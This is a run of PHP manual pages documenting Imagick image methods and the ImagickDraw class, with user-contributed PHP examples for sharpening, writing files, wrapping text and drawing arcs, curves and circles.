Imagick::unsharpMaskImage
Imagick


Sharpens an image

Imagick::uniqueImageColors
Imagick::valid
Imagick
PHP Manual

Imagick::unsharpMaskImage

(PECL imagick 2.0.0)

Imagick::unsharpMaskImage — Sharpens an image

Description

bool Imagick::unsharpMaskImage ( float $radius , float $sigma , float $amount , float $threshold [, int $channel = Imagick::CHANNEL_ALL ] )

Sharpens an image. We convolve the image with a Gaussian operator of the given radius and standard deviation (sigma). For reasonable results, radius should be larger than sigma. Use a radius of 0 and Imagick::UnsharpMaskImage() selects a suitable radius for you.

Parameters

radius

sigma

amount

threshold

channel

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

Anonymous 24-Feb-2009 08:00
Prepare photo for web

<?php
$im = new Imagick($SrcFile);

$im->resizeImage ( $Width, $Height , Imagick::FILTER_QUADRATIC , 1 );

$im->normalizeImage();
$im->unsharpMaskImage(0 , 0.5 , 1 , 0.05);

$im->setImageFormat( "jpg" );
$im->setCompressionQuality(75);

$im->writeImage( $OutFile );

$im->removeImage();
?>
Imagick::uniqueImageColors
Imagick::valid
Imagick


Checks if the current item is valid

Imagick::unsharpMaskImage
Imagick::vignetteImage
Imagick
PHP Manual

Imagick::valid

(PECL imagick 2.0.0)

Imagick::valid — Checks if the current item is valid

Description

bool Imagick::valid ( void )

Checks if the current item is valid.

Return Values

Returns TRUE on success.

User Contributed Notes

hyrumt at mediarain dot com 11-Feb-2010 11:01
We found this method to be of value when checking most image file types. However, it does not appear to be rigorous enough to detect corrupt jpg files. We use the following for jpgs and validate() for everything else.

<?php
    // check for the existence of the EOI segment header at the end of the file
    if (0 !== fseek($file, -2, SEEK_END) || "\xFF\xD9" !== fread($file, 2)) {
        fclose($file);
        return FALSE;
    }
?>
Imagick::unsharpMaskImage
Imagick::vignetteImage
Imagick


Adds vignette filter to the image

Imagick::valid
Imagick::waveImage
Imagick
PHP Manual

Imagick::vignetteImage

(PECL imagick 2.0.0)

Imagick::vignetteImage — Adds vignette filter to the image

Description

bool Imagick::vignetteImage ( float $blackPoint , float $whitePoint , int $x , int $y )

Softens the edges of the image in vignette style. This method is available if Imagick has been compiled against ImageMagick version 6.2.9 or newer.

Parameters

blackPoint

The black point.

whitePoint

The white point

x

X offset of the ellipse

y

Y offset of the ellipse

Return Values

Returns TRUE on success.

See Also

  • Imagick::waveImage() - Applies wave filter to the image
  • Imagick::swirlImage() - Swirls the pixels about the center of the image

User Contributed Notes

There are no user contributed notes for this page.
Imagick::valid
Imagick::waveImage
Imagick


Applies wave filter to the image

Imagick::vignetteImage
Imagick::whiteThresholdImage
Imagick
PHP Manual

Imagick::waveImage

(PECL imagick 2.0.0)

Imagick::waveImage — Applies wave filter to the image

Description

bool Imagick::waveImage ( float $amplitude , float $length )

Applies a wave filter to the image. This method is available if Imagick has been compiled against ImageMagick version 6.2.9 or newer.

Parameters

amplitude

The amplitude of the wave.

length

The length of the wave.

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws ImagickException on error.

See Also

  • Imagick::solarizeImage() - Applies a solarizing effect to the image
  • Imagick::oilpaintImage() - Simulates an oil painting
  • Imagick::embossImage() - Returns a grayscale image with a three-dimensional effect
  • Imagick::addNoiseImage() - Adds random noise to the image
  • Imagick::swirlImage() - Swirls the pixels about the center of the image

User Contributed Notes

There are no user contributed notes for this page.
Imagick::vignetteImage
Imagick::whiteThresholdImage
Imagick


Force all pixels above the threshold into white

Imagick::waveImage
Imagick::writeImage
Imagick
PHP Manual

Imagick::whiteThresholdImage

(PECL imagick 2.0.0)

Imagick::whiteThresholdImage — Force all pixels above the threshold into white

Description

bool Imagick::whiteThresholdImage ( mixed $threshold )

Is like Imagick::ThresholdImage() but force all pixels above the threshold into white while leaving all pixels below the threshold unchanged.

Parameters

threshold

Return Values

Returns TRUE on success.

Changelog

Version | Description
2.1.0 | Now allows a string representing the color as a parameter. Previous versions allow only an ImagickPixel object.

User Contributed Notes

elmer at web-axis dot net 30-Nov-2008 03:32
Here's a example of this function:

<?php
  $img = new Imagick();
  $img->readImage($image_file_name);
  $img->whiteThresholdImage('grey');
  $img->writeImage($thumb_file_name);
  $img->clear();
  $img->destroy();
?>
Imagick::waveImage
Imagick::writeImage
Imagick


Writes an image to the specified filename

Imagick::whiteThresholdImage
Imagick::writeImageFile
Imagick
PHP Manual

Imagick::writeImage

(PECL imagick 0.9.0-0.9.9)

Imagick::writeImage — Writes an image to the specified filename

Description

bool Imagick::writeImage ([ string $filename ] )

Writes an image to the specified filename. If the filename parameter is NULL, the image is written to the filename set by Imagick::ReadImage() or Imagick::SetImageFilename().

Parameters

filename

Return Values

Returns TRUE on success.

User Contributed Notes

icinagle at gmail dot com 23-May-2011 06:47
If you are trying to manipulate a uploaded file and then save the file all in the same request with Apache + mod_dav this will fail.
mod_dav puts a lock on the file during the request where the file is uploaded so trying to save the smallest file, e.g. 1kb will fail with a "Failed to allocate memory" error.
http://aotd.ru 19-Apr-2008 04:12
$thumb = new Imagick();
$thumb->readImage('test.gif');
$thumb->writeImage('test.jpg');
$thumb->clear();
$thumb->destroy();
Imagick::whiteThresholdImage
Imagick::writeImageFile
Imagick


Writes an image to a filehandle

Imagick::writeImage
Imagick::writeImages
Imagick
PHP Manual

Imagick::writeImageFile

(No version information available, might only be in SVN)

Imagick::writeImageFile — Writes an image to a filehandle

Description

bool Imagick::writeImageFile ( resource $filehandle )

Writes the image sequence to an open filehandle. The handle must be opened with for example fopen. This method is available if Imagick has been compiled against ImageMagick version 6.3.6 or newer.

Parameters

filehandle

Filehandle where to write the image

Return Values

Returns TRUE on success.

User Contributed Notes

There are no user contributed notes for this page.
Imagick::writeImage
Imagick::writeImages
Imagick


Writes an image or image sequence

Imagick::writeImageFile
Imagick::writeImagesFile
Imagick
PHP Manual

Imagick::writeImages

(PECL imagick 0.9.0-0.9.9)

Imagick::writeImages — Writes an image or image sequence

Description

bool Imagick::writeImages ( string $filename , bool $adjoin )

Writes an image or image sequence.

Parameters

filename

adjoin

Return Values

Returns TRUE on success.

User Contributed Notes

Malou 16-Jan-2010 01:25
As mbrugue sugest, the second parameter can also be use to save an animated gif:

<?php
$anim = new Imagick();

$files = scandir($myFramesPath);

foreach( $files as $f )
{
    $auxIMG = new Imagick();
    $auxIMG->readImage($mytifspath.$f);

    $anim->addImage($auxIMG);
}

//write animated gif
$anim->writeImages('anim.gif', true);

?>
mbrugue 11-Jun-2009 02:54
The second parameter spicifies if the object is write in multipage file (true) or split every page in a single file (false).

Example:

<?php
$multiTIFF = new Imagick();

$files = scandir($mytifspath);

foreach( $files as $f )
{
    $auxIMG = new Imagick();
    $auxIMG->readImage($mytifspath.$f);

    $multiTIFF->addImage($auxIMG);
}

//file multi.TIF
$multiTIFF->writeImages('multi.TIF', true);

//files multi-0.TIF, multi-1.TIF, ...
$multiTIFF->writeImages('multi.TIF', false);
?>
Imagick::writeImageFile
Imagick::writeImagesFile
Imagick


Writes frames to a filehandle

Imagick::writeImages
ImagickDraw
Imagick
PHP Manual

Imagick::writeImagesFile

(No version information available, might only be in SVN)

Imagick::writeImagesFile — Writes frames to a filehandle

Description

bool Imagick::writeImagesFile ( resource $filehandle )

Writes all image frames into an open filehandle. This method can be used to write animated gifs or other multiframe images into open filehandle. This method is available if Imagick has been compiled against ImageMagick version 6.3.6 or newer.

Parameters

filehandle

Filehandle where to write the images

Return Values

Returns TRUE on success.

User Contributed Notes

There are no user contributed notes for this page.
Imagick::writeImages
ImagickDraw
Imagick


The ImagickDraw class

(No version information available, might only be in SVN)

Class synopsis

ImagickDraw {
bool affine ( array $affine )
bool annotation ( float $x , float $y , string $text )
bool arc ( float $sx , float $sy , float $ex , float $ey , float $sd , float $ed )
bool bezier ( array $coordinates )
bool circle ( float $ox , float $oy , float $px , float $py )
bool clear ( void )
ImagickDraw clone ( void )
bool color ( float $x , float $y , int $paintMethod )
bool comment ( string $comment )
bool composite ( int $compose , float $x , float $y , float $width , float $height , Imagick $compositeWand )
__construct ( void )
bool destroy ( void )
bool ellipse ( float $ox , float $oy , float $rx , float $ry , float $start , float $end )
string getClipPath ( void )
int getClipRule ( void )
int getClipUnits ( void )
ImagickPixel getFillColor ( void )
float getFillOpacity ( void )
int getFillRule ( void )
string getFont ( void )
string getFontFamily ( void )
float getFontSize ( void )
int getFontStyle ( void )
int getFontWeight ( void )
int getGravity ( void )
bool getStrokeAntialias ( void )
ImagickPixel getStrokeColor ( void )
array getStrokeDashArray ( void )
float getStrokeDashOffset ( void )
int getStrokeLineCap ( void )
int getStrokeLineJoin ( void )
int getStrokeMiterLimit ( void )
float getStrokeOpacity ( void )
float getStrokeWidth ( void )
int getTextAlignment ( void )
bool getTextAntialias ( void )
int getTextDecoration ( void )
string getTextEncoding ( void )
ImagickPixel getTextUnderColor ( void )
string getVectorGraphics ( void )
bool line ( float $sx , float $sy , float $ex , float $ey )
bool matte ( float $x , float $y , int $paintMethod )
bool pathClose ( void )
bool pathCurveToAbsolute ( float $x1 , float $y1 , float $x2 , float $y2 , float $x , float $y )
bool pathCurveToQuadraticBezierAbsolute ( float $x1 , float $y1 , float $x , float $y )
bool pathCurveToQuadraticBezierRelative ( float $x1 , float $y1 , float $x , float $y )
bool pathCurveToQuadraticBezierSmoothAbsolute ( float $x , float $y )
bool pathCurveToQuadraticBezierSmoothRelative ( float $x , float $y )
bool pathCurveToRelative ( float $x1 , float $y1 , float $x2 , float $y2 , float $x , float $y )
bool pathCurveToSmoothAbsolute ( float $x2 , float $y2 , float $x , float $y )
bool pathCurveToSmoothRelative ( float $x2 , float $y2 , float $x , float $y )
bool pathEllipticArcAbsolute ( float $rx , float $ry , float $x_axis_rotation , bool $large_arc_flag , bool $sweep_flag , float $x , float $y )
bool pathEllipticArcRelative ( float $rx , float $ry , float $x_axis_rotation , bool $large_arc_flag , bool $sweep_flag , float $x , float $y )
bool pathFinish ( void )
bool pathLineToAbsolute ( float $x , float $y )
bool pathLineToHorizontalAbsolute ( float $x )
bool pathLineToHorizontalRelative ( float $x )
bool pathLineToRelative ( float $x , float $y )
bool pathLineToVerticalAbsolute ( float $y )
bool pathLineToVerticalRelative ( float $y )
bool pathMoveToAbsolute ( float $x , float $y )
bool pathMoveToRelative ( float $x , float $y )
bool pathStart ( void )
bool point ( float $x , float $y )
bool polygon ( array $coordinates )
bool polyline ( array $coordinates )
bool pop ( void )
bool popClipPath ( void )
bool popDefs ( void )
bool popPattern ( void )
bool push ( void )
bool pushClipPath ( string $clip_mask_id )
bool pushDefs ( void )
bool pushPattern ( string $pattern_id , float $x , float $y , float $width , float $height )
bool rectangle ( float $x1 , float $y1 , float $x2 , float $y2 )
bool render ( void )
bool rotate ( float $degrees )
bool roundRectangle ( float $x1 , float $y1 , float $x2 , float $y2 , float $rx , float $ry )
bool scale ( float $x , float $y )
bool setClipPath ( string $clip_mask )
bool setClipRule ( int $fill_rule )
bool setClipUnits ( int $clip_units )
bool setFillAlpha ( float $opacity )
bool setFillColor ( ImagickPixel $fill_pixel )
bool setFillOpacity ( float $fillOpacity )
bool setFillPatternURL ( string $fill_url )
bool setFillRule ( int $fill_rule )
bool setFont ( string $font_name )
bool setFontFamily ( string $font_family )
bool setFontSize ( float $pointsize )
bool setFontStretch ( int $fontStretch )
bool setFontStyle ( int $style )
bool setFontWeight ( int $font_weight )
bool setGravity ( int $gravity )
bool setStrokeAlpha ( float $opacity )
bool setStrokeAntialias ( bool $stroke_antialias )
bool setStrokeColor ( ImagickPixel $stroke_pixel )
bool setStrokeDashArray ( array $dashArray )
bool setStrokeDashOffset ( float $dash_offset )
bool setStrokeLineCap ( int $linecap )
bool setStrokeLineJoin ( int $linejoin )
bool setStrokeMiterLimit ( int $miterlimit )
bool setStrokeOpacity ( float $stroke_opacity )
bool setStrokePatternURL ( string $stroke_url )
bool setStrokeWidth ( float $stroke_width )
bool setTextAlignment ( int $alignment )
bool setTextAntialias ( bool $antiAlias )
bool setTextDecoration ( int $decoration )
bool setTextEncoding ( string $encoding )
bool setTextUnderColor ( ImagickPixel $under_color )
bool setVectorGraphics ( string $xml )
bool setViewbox ( int $x1 , int $y1 , int $x2 , int $y2 )
bool skewX ( float $degrees )
bool skewY ( float $degrees )
bool translate ( float $x , float $y )
}

Table of Contents

  • ImagickDraw::affine — Adjusts the current affine transformation matrix
  • ImagickDraw::annotation — Draws text on the image
  • ImagickDraw::arc — Draws an arc
  • ImagickDraw::bezier — Draws a bezier curve
  • ImagickDraw::circle — Draws a circle
  • ImagickDraw::clear — Clears the ImagickDraw
  • ImagickDraw::clone — Makes an exact copy of the specified ImagickDraw object
  • ImagickDraw::color — Draws color on image
  • ImagickDraw::comment — Adds a comment
  • ImagickDraw::composite — Composites an image onto the current image
  • ImagickDraw::__construct — The ImagickDraw constructor
  • ImagickDraw::destroy — Frees all associated resources
  • ImagickDraw::ellipse — Draws an ellipse on the image
  • ImagickDraw::getClipPath — Obtains the current clipping path ID
  • ImagickDraw::getClipRule — Returns the current polygon fill rule
  • ImagickDraw::getClipUnits — Returns the interpretation of clip path units
  • ImagickDraw::getFillColor — Returns the fill color
  • ImagickDraw::getFillOpacity — Returns the opacity used when drawing
  • ImagickDraw::getFillRule — Returns the fill rule
  • ImagickDraw::getFont — Returns the font
  • ImagickDraw::getFontFamily — Returns the font family
  • ImagickDraw::getFontSize — Returns the font pointsize
  • ImagickDraw::getFontStyle — Returns the font style
  • ImagickDraw::getFontWeight — Returns the font weight
  • ImagickDraw::getGravity — Returns the text placement gravity
  • ImagickDraw::getStrokeAntialias — Returns the current stroke antialias setting
  • ImagickDraw::getStrokeColor — Returns the color used for stroking object outlines
  • ImagickDraw::getStrokeDashArray — Returns an array representing the pattern of dashes and gaps used to stroke paths
  • ImagickDraw::getStrokeDashOffset — Returns the offset into the dash pattern to start the dash
  • ImagickDraw::getStrokeLineCap — Returns the shape to be used at the end of open subpaths when they are stroked
  • ImagickDraw::getStrokeLineJoin — Returns the shape to be used at the corners of paths when they are stroked
  • ImagickDraw::getStrokeMiterLimit — Returns the stroke miter limit
  • ImagickDraw::getStrokeOpacity — Returns the opacity of stroked object outlines
  • ImagickDraw::getStrokeWidth — Returns the width of the stroke used to draw object outlines
  • ImagickDraw::getTextAlignment — Returns the text alignment
  • ImagickDraw::getTextAntialias — Returns the current text antialias setting
  • ImagickDraw::getTextDecoration — Returns the text decoration
  • ImagickDraw::getTextEncoding — Returns the code set used for text annotations
  • ImagickDraw::getTextUnderColor — Returns the text under color
  • ImagickDraw::getVectorGraphics — Returns a string containing vector graphics
  • ImagickDraw::line — Draws a line
  • ImagickDraw::matte — Paints on the image's opacity channel
  • ImagickDraw::pathClose — Adds a path element to the current path
  • ImagickDraw::pathCurveToAbsolute — Draws a cubic Bezier curve
  • ImagickDraw::pathCurveToQuadraticBezierAbsolute — Draws a quadratic Bezier curve
  • ImagickDraw::pathCurveToQuadraticBezierRelative — Draws a quadratic Bezier curve
  • ImagickDraw::pathCurveToQuadraticBezierSmoothAbsolute — Draws a quadratic Bezier curve
  • ImagickDraw::pathCurveToQuadraticBezierSmoothRelative — Draws a quadratic Bezier curve
  • ImagickDraw::pathCurveToRelative — Draws a cubic Bezier curve
  • ImagickDraw::pathCurveToSmoothAbsolute — Draws a cubic Bezier curve
  • ImagickDraw::pathCurveToSmoothRelative — Draws a cubic Bezier curve
  • ImagickDraw::pathEllipticArcAbsolute — Draws an elliptical arc
  • ImagickDraw::pathEllipticArcRelative — Draws an elliptical arc
  • ImagickDraw::pathFinish — Terminates the current path
  • ImagickDraw::pathLineToAbsolute — Draws a line path
  • ImagickDraw::pathLineToHorizontalAbsolute — Draws a horizontal line path
  • ImagickDraw::pathLineToHorizontalRelative — Draws a horizontal line
  • ImagickDraw::pathLineToRelative — Draws a line path
  • ImagickDraw::pathLineToVerticalAbsolute — Draws a vertical line
  • ImagickDraw::pathLineToVerticalRelative — Draws a vertical line path
  • ImagickDraw::pathMoveToAbsolute — Starts a new sub-path
  • ImagickDraw::pathMoveToRelative — Starts a new sub-path
  • ImagickDraw::pathStart — Declares the start of a path drawing list
  • ImagickDraw::point — Draws a point
  • ImagickDraw::polygon — Draws a polygon
  • ImagickDraw::polyline — Draws a polyline
  • ImagickDraw::pop — Destroys the current ImagickDraw in the stack, and returns to the previously pushed ImagickDraw
  • ImagickDraw::popClipPath — Terminates a clip path definition
  • ImagickDraw::popDefs — Terminates a definition list
  • ImagickDraw::popPattern — Terminates a pattern definition
  • ImagickDraw::push — Clones the current ImagickDraw and pushes it to the stack
  • ImagickDraw::pushClipPath — Starts a clip path definition
  • ImagickDraw::pushDefs — Indicates that following commands create named elements for early processing
  • ImagickDraw::pushPattern — Indicates that subsequent commands up to a ImagickDraw::opPattern() command comprise the definition of a named pattern
  • ImagickDraw::rectangle — Draws a rectangle
  • ImagickDraw::render — Renders all preceding drawing commands onto the image
  • ImagickDraw::rotate — Applies the specified rotation to the current coordinate space
  • ImagickDraw::roundRectangle — Draws a rounded rectangle
  • ImagickDraw::scale — Adjusts the scaling factor
  • ImagickDraw::setClipPath — Associates a named clipping path with the image
  • ImagickDraw::setClipRule — Set the polygon fill rule to be used by the clipping path
  • ImagickDraw::setClipUnits — Sets the interpretation of clip path units
  • ImagickDraw::setFillAlpha — Sets the opacity to use when drawing using the fill color or fill texture
  • ImagickDraw::setFillColor — Sets the fill color to be used for drawing filled objects
  • ImagickDraw::setFillOpacity — Sets the opacity to use when drawing using the fill color or fill texture
  • ImagickDraw::setFillPatternURL — Sets the URL to use as a fill pattern for filling objects
  • ImagickDraw::setFillRule — Sets the fill rule to use while drawing polygons
  • ImagickDraw::setFont — Sets the fully-specified font to use when annotating with text
  • ImagickDraw::setFontFamily — Sets the font family to use when annotating with text
  • ImagickDraw::setFontSize — Sets the font pointsize to use when annotating with text
  • ImagickDraw::setFontStretch — Sets the font stretch to use when annotating with text
  • ImagickDraw::setFontStyle — Sets the font style to use when annotating with text
  • ImagickDraw::setFontWeight — Sets the font weight
  • ImagickDraw::setGravity — Sets the text placement gravity
  • ImagickDraw::setStrokeAlpha — Specifies the opacity of stroked object outlines
  • ImagickDraw::setStrokeAntialias — Controls whether stroked outlines are antialiased
  • ImagickDraw::setStrokeColor — Sets the color used for stroking object outlines
  • ImagickDraw::setStrokeDashArray — Specifies the pattern of dashes and gaps used to stroke paths
  • ImagickDraw::setStrokeDashOffset — Specifies the offset into the dash pattern to start the dash
  • ImagickDraw::setStrokeLineCap — Specifies the shape to be used at the end of open subpaths when they are stroked
  • ImagickDraw::setStrokeLineJoin — Specifies the shape to be used at the corners of paths when they are stroked
  • ImagickDraw::setStrokeMiterLimit — Specifies the miter limit
  • ImagickDraw::setStrokeOpacity — Specifies the opacity of stroked object outlines
  • ImagickDraw::setStrokePatternURL — Sets the pattern used for stroking object outlines
  • ImagickDraw::setStrokeWidth — Sets the width of the stroke used to draw object outlines
  • ImagickDraw::setTextAlignment — Specifies a text alignment
  • ImagickDraw::setTextAntialias — Controls whether text is antialiased
  • ImagickDraw::setTextDecoration — Specifies a decoration
  • ImagickDraw::setTextEncoding — Specifies specifies the text code set
  • ImagickDraw::setTextUnderColor — Specifies the color of a background rectangle
  • ImagickDraw::setVectorGraphics — Sets the vector graphics
  • ImagickDraw::setViewbox — Sets the overall canvas size
  • ImagickDraw::skewX — Skews the current coordinate system in the horizontal direction
  • ImagickDraw::skewY — Skews the current coordinate system in the vertical direction
  • ImagickDraw::translate — Applies a translation to the current coordinate system

User Contributed Notes

There are no user contributed notes for this page.
Imagick::writeImagesFile
ImagickDraw::affine
ImageMagick


Adjusts the current affine transformation matrix

ImagickDraw
ImagickDraw::annotation
ImagickDraw
PHP Manual

ImagickDraw::affine

(PECL imagick 2.0.0)

ImagickDraw::affine — Adjusts the current affine transformation matrix

Description

bool ImagickDraw::affine ( array $affine )
Warning

This function is currently not documented; only its argument list is available.

Adjusts the current affine transformation matrix with the specified affine transformation matrix.

Parameters

affine

Affine matrix parameters

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
ImagickDraw
ImagickDraw::annotation
ImagickDraw


Draws text on the image

ImagickDraw::affine
ImagickDraw::arc
ImagickDraw
PHP Manual

ImagickDraw::annotation

(PECL imagick 2.0.0)

ImagickDraw::annotation — Draws text on the image

Description

bool ImagickDraw::annotation ( float $x , float $y , string $text )
Warning

This function is currently not documented; only its argument list is available.

Draws text on the image.

Parameters

x

The x coordinate where text is drawn

y

The y coordinate where text is drawn

text

The text to draw on the image

Return Values

No value is returned.

User Contributed Notes

Anonymous 24-Oct-2009 10:28
Here's how to create a header image and write it to file.  This took me a while to figure out.  I hope this helps.

<?php

/* Text to write */
$text = "Hello World!";

/* Create Imagick objects */
$image = new Imagick();
$draw = new ImagickDraw();
$color = new ImagickPixel('#000000');
$background = new ImagickPixel('none'); // Transparent

/* Font properties */
$draw->setFont('Arial');
$draw->setFontSize(50);
$draw->setFillColor($color);
$draw->setStrokeAntialias(true);
$draw->setTextAntialias(true);

/* Get font metrics */
$metrics = $image->queryFontMetrics($draw, $text);

/* Create text */
$draw->annotation(0, $metrics['ascender'], $text);

/* Create image */
$image->newImage($metrics['textWidth'], $metrics['textHeight'], $background);
$image->setImageFormat('png');
$image->drawImage($draw);

/* Save image */
file_put_contents('/path/to/file.png', $image);
?>
use_contact_form at Jonas-Kress dot de 09-Jul-2009 03:33
may help someone...

<?php
    /**
     * Split the given text into rows fitting the given maxWidth
     *
     * @param unknown_type $draw
     * @param unknown_type $text
     * @param unknown_type $maxWidth
     * @return array
     */
    private function getTextRows($draw, $text, $maxWidth)
    {
        $words = explode(" ", $text);

        $lines = array();
        $i=0;
        while ($i < count($words))
        {//as long as there are words

            $line = "";
            do
            {//append words to line until the fit in size
                if($line != ""){
                    $line .= " ";
                }
                $line .= $words[$i];

                $i++;
                if(($i) == count($words)){
                    break;//last word -> break
                }

                //messure size of line + next word
                $linePreview = $line." ".$words[$i];
                $metrics = $this->canvas->queryFontMetrics($draw, $linePreview);
                //echo $line."($i)".$metrics["textWidth"].":".$maxWidth."<br>";

            }while($metrics["textWidth"] <= $maxWidth);

            //echo "<hr>".$line."<br>";
            $lines[] = $line;
        }

        //var_export($lines);
        return $lines;
    }
?>
Anonymous 30-Jun-2009 08:08
You can use this method to break your text so that it'll fit a certain $maxWidth.

<?php
/**
 * @param string $text
 * @param int $maxWidth
 */
protected function _fitText($text, $maxWidth)
{
    $im = new Imagick();
    $im->newImage($this->_width, $this->_height, "none");

    $lines = explode(PHP_EOL, trim($text));
    $DEBUG_LOOP = 0;

    for ($k = 0; $k < count($lines); ++$k) {
        do {
            $drawText = new ImagickDraw();
            // set your font settings like size, family, .. here
            $metrics  = $im->queryFontMetrics($drawText, $lines[$k]);
            $fits     = $metrics["textWidth"] <= $maxWidth;

            if ($fits) {
                break;
            }

            $pos = mb_strrpos($lines[$k], " ");
            if ($pos === false) {
                throw new RuntimeException("can not make it fit");
            }
            if (!isset($lines[$k + 1])) {
                $lines[$k + 1] = null;
            }
            $lines[$k + 1] = trim(mb_substr($lines[$k], $pos + 1) . " " . $lines[$k + 1]);
            $lines[$k]     = trim(mb_substr($lines[$k], 0, $pos));

            if (++$DEBUG_LOOP >= 200) {
                throw new RuntimeException("infinite loop");
            }
        } while (!$fits);
    }
    $text     = implode(PHP_EOL, $lines);
    $drawText = new ImagickDraw();
    // set your font settings like size, family, .. here again!
    $metrics  = $im->queryFontMetrics($drawText, $text);
    $metrics["text"] = $text;
    assert('$metrics["textWidth"] <= $maxWidth');
    return $metrics;
}
?>
ImagickDraw::affine
ImagickDraw::arc
ImagickDraw


Draws an arc

ImagickDraw::annotation
ImagickDraw::bezier
ImagickDraw
PHP Manual

ImagickDraw::arc

(PECL imagick 2.0.0)

ImagickDraw::arc — Draws an arc

Description

bool ImagickDraw::arc ( float $sx , float $sy , float $ex , float $ey , float $sd , float $ed )
Warning

This function is currently not documented; only its argument list is available.

Draws an arc falling within a specified bounding rectangle on the image.

Parameters

sx

Starting x ordinate of bounding rectangle

sy

starting y ordinate of bounding rectangle

ex

ending x ordinate of bounding rectangle

ey

ending y ordinate of bounding rectangle

sd

starting degrees of rotation

ed

ending degrees of rotation

Return Values

No value is returned.

User Contributed Notes

skmanji at manji dot org 24-Jun-2011 06:30
You can do a pie chart with a combination of arc and polygon functions (there really ought to be a built-in command for this)

<?php
//  create a new canvas object and a white image
$canvas     = new Imagick();
$canvas->newImage(600, 600, 'grey');

image_pie($canvas, 300, 300, 200, 0, 45, 'red');
image_pie($canvas, 300, 300, 200, 45, 125, 'green');
image_pie($canvas, 300, 300, 200, 125, 225, 'blue');
image_pie($canvas, 300, 300, 200, 225, 300, 'cyan');
image_pie($canvas, 300, 300, 200, 300, 360, 'orange');

//  output the image
$canvas->setImageFormat('png');
header("Content-Type: image/png");
echo $canvas;
exit;

// FUNCTIONS

function image_arc( &$canvas, $sx, $sy, $ex, $ey, $sd, $ed, $color = 'black' ) {

    //  draw arc on canvas
    //  $sx, $sy, $ex, $ey specify a bounding rectangle of a circle with the origin in the middle
    //  $sd, and $ed specify start and end angles in degrees

    $draw = new ImagickDraw();
    $draw->setFillColor($color);
    $draw->setStrokeColor($color);
    $draw->setStrokeWidth(1);
    $draw->arc($sx, $sy, $ex, $ey, $sd, $ed);
    $canvas->drawImage($draw);
}

function image_pie( &$canvas, $ox, $oy, $radius, $sd, $ed, $color = 'black' ) {

    //  draw pie segment
    //  $ox, $oy specify the circle origin
    //  $sd, and $ed specify start and end angles in degrees
    //  degrees start from 0 = East, and go clockwise

    //  position 1 - convert degrees to radians and get first point on perimeter of circle
    $x1     = $radius * cos($sd / 180 * 3.1416);
    $y1     = $radius * sin($sd / 180 * 3.1416);

    //  position 2 - convert degrees to radians and get second point on perimeter of circle
    $x2     = $radius * cos($ed / 180 * 3.1416);
    $y2     = $radius * sin($ed / 180 * 3.1416);

    //  draw segment triangle - specify the 3 points and draw a polygon
    $points = array(array('x' => $ox, 'y' => $oy), array('x' => $ox + $x1, 'y' => $oy + $y1), array('x' => $ox + $x2, 'y' => $oy + $y2));

    image_polygon($canvas, $points, $color);

    //  draw corrsesponding arc to complete the "pie" segment
    image_arc($canvas, $ox - $radius, $oy - $radius, $ox + $radius, $oy + $radius, $sd, $ed, $color);
}

function image_polygon( &$canvas, $points, $color = 'black' ) {

    //  draw a polygon on canvas

    $draw = new ImagickDraw();
    $draw->setFillColor($color);
    $draw->setStrokeColor($color);
    $draw->setStrokeWidth(1);
    $draw->polygon($points);
    $canvas->drawImage($draw);
}

?>
ImagickDraw::annotation
ImagickDraw::bezier
ImagickDraw


Draws a bezier curve

ImagickDraw::arc
ImagickDraw::circle
ImagickDraw
PHP Manual

ImagickDraw::bezier

(PECL imagick 2.0.0)

ImagickDraw::bezier — Draws a bezier curve

Description

bool ImagickDraw::bezier ( array $coordinates )
Warning

This function is currently not documented; only its argument list is available.

Draws a bezier curve through a set of points on the image.

Parameters

coordinates

Multidimensional array like array( array( 'x' => 1, 'y' => 2 ), array( 'x' => 3, 'y' => 4 ) )

Return Values

No value is returned.

User Contributed Notes

zombiebovine at gmail dot com 14-Sep-2009 03:43
How to use:

<?php
    $width =  200;
    $height = 200;
    $border = 2;

    $img = new Imagick();
    $img->newImage( $width, $height, new ImagickPixel( 'transparent' ) );

    $draw = new ImagickDraw();
    $draw->setStrokeColor( new ImagickPixel( 'black' ) );
    $draw->setStrokeWidth( 2 );
    $draw->setFillColor( new ImagickPixel( 'transparent' ) );

    // will fail in an obscure manner if the input data is invalid
    $points = array
    (
        array( 'x' => 0, 'y' => 200 ),
        array( 'x' => 0, 'y' => 0 ),
        array( 'x' => 200, 'y' => 200 ),
        array( 'x' => 200, 'y' => 0 )
    );

    $draw->bezier($points);

    $img->drawImage( $draw );
    $img->setImageFormat( "png" );

    header( "Content-Type: image/png" );
    echo $img;
?>
ImagickDraw::arc
ImagickDraw::circle
ImagickDraw


Draws a circle

ImagickDraw::bezier
ImagickDraw::clear
ImagickDraw
PHP Manual

ImagickDraw::circle

(PECL imagick 2.0.0)

ImagickDraw::circle — Draws a circle

Description

bool ImagickDraw::circle ( float $ox , float $oy , float $px , float $py )
Warning

This function is currently not documented; only its argument list is available.

Draws a circle on the image.

Parameters

ox

origin x coordinate

oy

origin y coordinate

px

perimeter x coordinate

py

perimeter y coordinate

Return Values

No value is returned.

User Contributed Notes

garym at binaryfarm dot com 24-Feb-2010 11:34
<?php
// OR we could just draw a simple circle for the benefit of the newbies.
// I'm not great at OOP programming and I hope my comments are accurate.
// commets or criticism are welcome.

$image = new Imagick();    // Create a new instance an $image class

$width =  600;        // Some necessary dimensions
$height = 400;

// $image class now inherits some attributes. i.e. Dimensions, bkgcolor...
$image->newImage( $width, $height, new ImagickPixel( 'lightgray' ) );

$draw = new ImagickDraw();    //Create a new drawing class (?)

$draw->setFillColor('wheat');    // Set up some colors to use for fill and outline
$draw->setStrokeColor( new ImagickPixel( 'green' ) );

$draw->circle( $width/2, $height/2, $width/2, $width/2 );    // Draw the circle already

$image->drawImage( $draw );    // Apply the stuff from the draw class to the image canvas

$image->setImageFormat('jpg');    // Give the image a format

header('Content-type: image/jpeg');     // Prepare the web browser to display an image
echo $image;                // Publish it to the world!

//$image->writeImage('someimage.jpg");    // ...Or just write it to a file...

?>
christian dot reinecke at web dot de 23-Jun-2009 06:31
This example creates a circle, one part green, one part red using kind of masks for transparency, which you might know from Photoshop. drawImage() is a quick helper for debug output (see code comments) to help you reproduce the process.

<?php
function drawImage(Imagick $im) {
    $im->setCompressionQuality(100);
    $im->setImageFormat("jpg");
    header("Content-Type: image/" . $im->getImageFormat());
    echo $im;
    exit;
}

// define red/green layer
$layer1 = new Imagick();
$layer1->newImage(100, 100, "none");

